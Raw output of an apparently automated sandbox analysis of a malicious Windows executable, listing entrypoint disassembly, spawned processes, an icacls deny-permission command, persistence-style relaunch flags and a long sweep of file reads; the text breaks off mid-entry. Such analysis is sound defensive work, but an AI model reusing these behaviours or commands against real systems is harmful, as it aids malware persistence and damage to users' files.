0x40b37f,inc ecx,cmp ecx, 0x2d,jb 0x40b363,lea ecx, [eax - 0x13],cmp ecx, 0x11,ja 0x40b388,push 0xd,pop eax,pop ebp,ret ,mov eax, dword ptr [ecx*8 + 0x41f244],pop ebp,ret ,add eax, 0xffffff44,push 0xe,pop ecx,cmp ecx, eax,sbb eax, eax,and eax, ecx,add eax, 8,pop ebp,ret ,call 0x40eddb,test eax, eax,jne 0x40b3aa,mov eax, 0x41f3a8,ret ,add eax, 8,ret ,call 0x40eddb," "04587099.exe.bin" file has an entrypoint instructions - "call 0x411da5,jmp 0x40b1e2,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],xor ecx, ecx,cmp eax, dword ptr [ecx*8 + 0x41f240],je 0x40b37f,inc ecx,cmp ecx, 0x2d,jb 0x40b363,lea ecx, [eax - 0x13],cmp ecx, 0x11,ja 0x40b388,push 0xd,pop eax,pop ebp,ret ,mov eax, dword ptr [ecx*8 + 0x41f244],pop ebp,ret ,add eax, 0xffffff44,push 0xe,pop ecx,cmp ecx, eax,sbb eax, eax,and eax, ecx,add eax, 8,pop ebp,ret ,call 0x40eddb,test eax, eax,jne 0x40b3aa,mov eax, 0x41f3a8,ret ,add eax, 8,ret ,call 0x40eddb," "build2.exe" file has an entrypoint instructions - "call 0x411fcf,jmp 0x40b253,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],xor ecx, ecx,cmp eax, dword ptr [ecx*8 + 0x41f240],je 0x40b3f0,inc ecx,cmp ecx, 0x2d,jb 0x40b3d4,lea ecx, [eax - 0x13],cmp ecx, 0x11,ja 0x40b3f9,push 0xd,pop eax,pop ebp,ret ,mov eax, dword ptr [ecx*8 + 0x41f244],pop ebp,ret ,add eax, 0xffffff44,push 0xe,pop ecx,cmp ecx, eax,sbb eax, eax,and eax, ecx,add eax, 8,pop ebp,ret ,call 0x40eedc,test eax, eax,jne 0x40b41b,mov eax, 0x41f3a8,ret ,add eax, 8,ret ,call 0x40eedc,"49:T99c,Process "04587099.exe" (UID: 00000000-00006576) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "04587099.exe" (UID: 00000000-00006576) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "icacls.exe" (UID: 00000000-00007112) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "WerFault.exe" (UID: 00000000-00006448) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "WerFault.exe" (UID: 00000000-00006448) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "04587099.exe" (UID: 00000000-00004268) was launched with new environment variables: "PROMPT="$P$G", PROCESSOR_ARCHITEW6432="AMD64"" Process "04587099.exe" (UID: 00000000-00004268) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "04587099.exe" (UID: 00000000-00004740) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "04587099.exe" (UID: 00000000-00004740) was launched with missing environment variables: "PROMPT, PROCESSOR_ARCHITEW6432" Process "DllHost.exe" (UID: 00000000-00005584) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, TEMP, USERPROFILE, TMP, ProgramFiles" Process "DllHost.exe" (UID: 00000000-00005584) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, SSLKEYLOGFILE, LOGONSERVER, SESSIONNAME, OneDrive, PROCESSOR_ARCHITEW6432, HOMEPATH, HOMEDRIVE" Process "04587099.exe" (UID: 00000000-00005792) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", SSLKEYLOGFILE="%TEMP%\sslkey.txt", LOGONSERVER="\\DESKTOP-FVVF82A", PROMPT="$P$G", SESSIONNAME="Console", OneDrive="%USERPROFILE%\OneDrive", PROCESSOR_ARCHITEW6432="AMD64", HOMEPATH="\Users\HAPUBWS", HOMEDRIVE="C:"" Process "04587099.exe" (UID: 00000000-00005792) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, TEMP, USERPROFILE, TMP, ProgramFiles"4a:Tdc4,Observed system executable string:"C:\windows\temp\VxSSL32.dll" [Source: 00000000-00004284.00000000.88232.00640000.00000002.mdmp 00000000-00004284.00000000.88232.00F70000.00000020.mdmp] Observed system executable string:"C:\windows\temp\VxOle32.dll" [Source: 00000000-00004284.00000000.88232.00650000.00000002.mdmp 00000000-00004284.00000000.88232.00F80000.00000020.mdmp] Observed system executable string:":\WINDOWS\SYSTEM32\ntdll.dll" [Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\wow64.dll" [Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\wow64win.dll" [Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\wow64cpu.dll" [Source: 00000000-00004284.00000000.88232.006D0000.00000004.mdmp] Observed system executable string:":\WINDOWS\SYSTEM32\WINMM.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\KERNEL32.DLL" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\KERNELBASE.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\RPCRT4.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\SspiCli.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\CRYPTBASE.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\bcryptPrimitives.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\sechost.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\SHLWAPI.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\SYSTEM32\MPR.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\msvcrt.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\SYSTEM32\WININET.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\combase.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\ucrtbase.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\GDI32.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\SYSTEM32\WINMMBASE.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\cfgmgr32.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\gdi32full.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp] Observed system executable string:":\WINDOWS\System32\msvcp_win.dll" [Source: 00000000-00004284.00000000.88232.00890000.00000004.mdmp]4b:T676,Spawned process "04587099.exe" (UID: 00000000-00006576) Spawned process "icacls.exe" with commandline "icacls "%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e" /d ..." (UID: 00000000-00007112) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00005616) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00006344) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2136" (UID: 00000000-00006448) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2124" (UID: 00000000-00006372) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00007000) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00004740) Spawned process "lsass.exe" (UID: 00000000-00000628) Spawned process "svchost.exe" with commandline "-k rpcss -p" (UID: 00000000-00000884) Spawned process "svchost.exe" with commandline "-k LocalServiceNoNetwork -p" (UID: 00000000-00000356) Spawned process "svchost.exe" with commandline "-k DcomLaunch -p" (UID: 00000000-00000812) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00005728) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005584) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005832) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00006148) Spawned process "04587099.exe" with commandline "--AutoStart" (UID: 00000000-00004284)4c:T676,Spawned process "04587099.exe" (UID: 00000000-00006576) Spawned process "icacls.exe" with commandline "icacls "%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e" /d ..." (UID: 00000000-00007112) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00005616) Spawned process "04587099.exe" with commandline "--Admin IsNotAutoStart IsNotTask" (UID: 00000000-00006344) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2136" (UID: 00000000-00006448) Spawned process "WerFault.exe" with commandline "-u -p 6344 -s 2124" (UID: 00000000-00006372) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00007000) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00004740) Spawned process "lsass.exe" (UID: 00000000-00000628) Spawned process "svchost.exe" with commandline "-k rpcss -p" (UID: 00000000-00000884) Spawned process "svchost.exe" with commandline "-k LocalServiceNoNetwork -p" (UID: 00000000-00000356) Spawned process "svchost.exe" with commandline "-k DcomLaunch -p" (UID: 00000000-00000812) Spawned process "04587099.exe" with commandline "--Task" (UID: 00000000-00005728) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005584) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00005832) Spawned process "DllHost.exe" with commandline "/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" (UID: 00000000-00006148) Spawned process "04587099.exe" with commandline "--AutoStart" (UID: 00000000-00004284)4d:T67c,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")4e:T5b5,"msmouse.inf" has type "data" "wdma_bt.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators with overstriking" "bthleenum.inf" has type "data" "usbcciddriver.inf" has type "data" "sensorshidclassdriver.inf" has type "data" "hidbthle.inf" has type "data" "usbser.inf" has type "data" "xusb22.inf" has type "data" "bthpan.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators" "miradisp.inf" has type "data" "msgpiowin32.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators" "ufxchipidea.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators" "fusionv2.inf" has type "data" "xboxgip.inf" has type "data" "basicdisplay.inf" has type "data" "winusb.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators with escape sequences" "idtsec.inf" has type "data" "mgtdyn.inf" has type "data" "hidbth.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators" "hidinterrupt.inf" has type "data" "bthprint.inf" has type "data" "basicrender.inf" has type "Little-endian UTF-16 Unicode text with very long lines with NEL line terminators" "display.inf" has type "data" "buttonconverter.inf" has type "Little-endian UTF-16 Unicode text with very long lines with no line terminators" "vhdmp.inf" has type "data"4f:T5c2,"04587099.exe" queries basic process information of the "C:\04587099.exe" (UID: 5124) "04587099.exe" queries basic process information of the "C:\Windows\System32\sihost.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\System32\svchost.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\System32\taskhostw.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\System32\ctfmon.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\explorer.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\System32\RuntimeBroker.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Windows\System32\conhost.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Program Files\Microsoft Office\Office14\ONENOTEM.EXE" (UID: 6576) "04587099.exe" queries basic process information of the "C:\Program Files\mitmproxy\bin\mitmdump.exe" (UID: 6576)50:T122ea,"04587099.exe" reads file "c:\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157" "04587099.exe" reads file "c:\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157" "04587099.exe" reads file "c:\04587099.exe" "04587099.exe" reads file "c:\04587099.exe:zone.identifier" "04587099.exe" reads file "c:\users\hapubws\desktop\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\documents\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\music\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\pictures\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\videos\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\downloads\desktop.ini" "04587099.exe" reads file "c:\users\hapubws\onedrive\desktop.ini" "04587099.exe" reads file "c:\systemid\personalid.txt" "04587099.exe" reads file "c:\boottel.dat" "04587099.exe" reads file "c:\found.000\file00000003.chk" "04587099.exe" reads file "c:\found.000\dir0001.chk\$filehashes$.dat" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_3ea100bf4da69ecb.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_e7ae4b063c62a0bc.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_b90b6903ec9a72db.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_bd07a659ea0b4f4b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_dc0b1719a7e1bc24.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_ae4d644f2ed63425.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_bf95c9c4974efad0.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..cymanagerbrokerhost_31bf3856ad364e35_10.0.17134.1_none_644f5bdfd9647dba.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..ernetmail.resources_31bf3856ad364e35_10.0.17134.1_en-us_cf3c5a6654651d32.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..etmailcsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_96611701049c6174.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_c96d47a2570a4d1b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..licymanagerbrokerps_31bf3856ad364e35_10.0.17134.1_none_5e9328a4938e27b9.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_fe1e2f2b714b36b3.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..rokerhost.resources_31bf3856ad364e35_10.0.17134.1_en-us_57732c362fd6e5d5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_eaab6e3bc583134c.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-m..vesynccsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_85ab47dc0a11718d.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_ace0eed0fc56496f.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-accountsrt_31bf3856ad364e35_10.0.17134.1_none_151a1b146da49afd.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-activesynccsp_31bf3856ad364e35_10.0.17134.1_none_f33b0ddddab62566.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_085c9ad7af984bcf.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-aphostres_31bf3856ad364e35_10.0.17134.1_none_b8e036b8f18490ec.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-aphostservice_31bf3856ad364e35_10.0.17134.1_none_3abe8fc5b712e80b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_db8c1c8a8d44988e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-inprocloggersetup_31bf3856ad364e35_10.0.17134.1_none_88d720ce10d25069.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-internetmailcsp_31bf3856ad364e35_10.0.17134.1_none_e0ae355aa7085a45.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-internetmail_31bf3856ad364e35_10.0.17134.1_none_2d05acef046f159b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_a0fa210c520b753b.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-standard-config_31bf3856ad364e35_10.0.17134.1_none_d914b9c2a964ff65.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_034ee57d81775b52.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_d607dcf5dc927baa.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_75594e685e635a3e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_7d7c85c6592f59a5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_7a92200a5b164ca5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_430003654a8ac792.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2329316d4a126116.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_1b1810594f44477a.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_1977cb5b5057fd7c.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_1de673af4d7ede29.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_9dc79e5d6403da80.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_14e21eba6dd01f70.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_c3c945ba3e394044.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_d733cdc5d64dd9f8.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_c62186f43ccc23a5.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_bb3b9ffc43d4c527.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_635b671b33121fa4.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6086fc5734e8743e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_091d29ea23fddccc.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_01ef1732289dcc3e.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-us_0977d25023c68003.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_09432f3423ed71a8.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_0b7a1cda22815553.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0302fac427f34e37.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_acb22f871635f9ec.manifest" "04587099.exe" reads file "c:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_4c9932ed5e24ef89.manifest" "04587099.exe" reads file 